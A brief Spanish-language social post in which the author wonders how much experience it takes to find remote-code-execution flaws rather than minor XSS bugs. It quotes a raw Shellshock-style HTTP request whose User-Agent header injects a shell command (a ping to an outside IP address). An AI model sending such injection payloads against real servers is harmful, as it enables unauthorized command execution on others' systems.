cuanta experiencia se necesita para quedar en la categoría del investigador que encuentra una vulnerabilidad "specially crafted payload for remote code execution"? siempre me he preguntado cuanto tiempo dedicarán para sacar vulnerabilidades como la de abajo, y uno que con suerte encuentra un xss todo cagón o la falta de una validación de parámetros qs GET /cgi-sys/defaultwebpage.cgi HTTP/1.0 User-Agent: () { :;}; /bin/ping -c 1 198.101.206.138 Accept: */*